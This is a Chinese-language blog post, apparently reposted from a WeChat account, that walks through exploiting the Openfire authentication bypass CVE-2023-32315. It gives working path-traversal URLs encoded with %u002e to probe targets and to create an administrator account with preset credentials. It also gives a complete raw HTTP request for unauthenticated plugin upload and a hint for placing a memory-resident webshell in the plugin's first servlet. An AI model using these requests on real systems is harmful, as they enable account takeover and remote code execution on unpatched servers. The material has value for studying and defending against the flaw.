0、简介
1、原理上来说,只要在:/setup/setup- 后,随意输入,都会经过双层解码。也就是说,/setup/setup- 之后的所有字符,既可以用ascii也可以urlencode模式,可以据此来做一些变形或者绕过。
2、从测试来看,服务端并没有管是GET还是POST还是PUT或者其他,只取了空格后的路径去做对应的处理。所以,可以做绕过。如下利用,也能成功上传(当然,万一前面有nginx啥的,就不好说了…):
1、验证
/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp
返回500:
/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
返回200:
2、加用户
/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?username=test&name=&email=&password=test&passwordConfirm=test&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7
之后就可以用添加账户登陆了。
3、上传插件
加用户后,可随意上传插件了,若使用未授权上传,则:
POST /setup/setup-aaa/%u002e%u002e%u002f%u002e%u002e%u002f%u0070lugin%u002dadmin.jsp?uploadplugin HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------269158387714992429723012352204
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Content-Length: 231
-----------------------------269158387714992429723012352204
Content-Disposition: form-data; name="uploadfile"; filename="112.txt"
Content-Type: text/plain
adfadf
-----------------------------269158387714992429723012352204--
注意:
a、需要上传jar后缀,才能自动解包部署。
b、openfire 只识别插件的第一个 servlet,要把内存马放在第一个里面。
原文始发于微信公众号(Purpleroc的札记):Openfire 权限绕过利用 CVE-2023-32315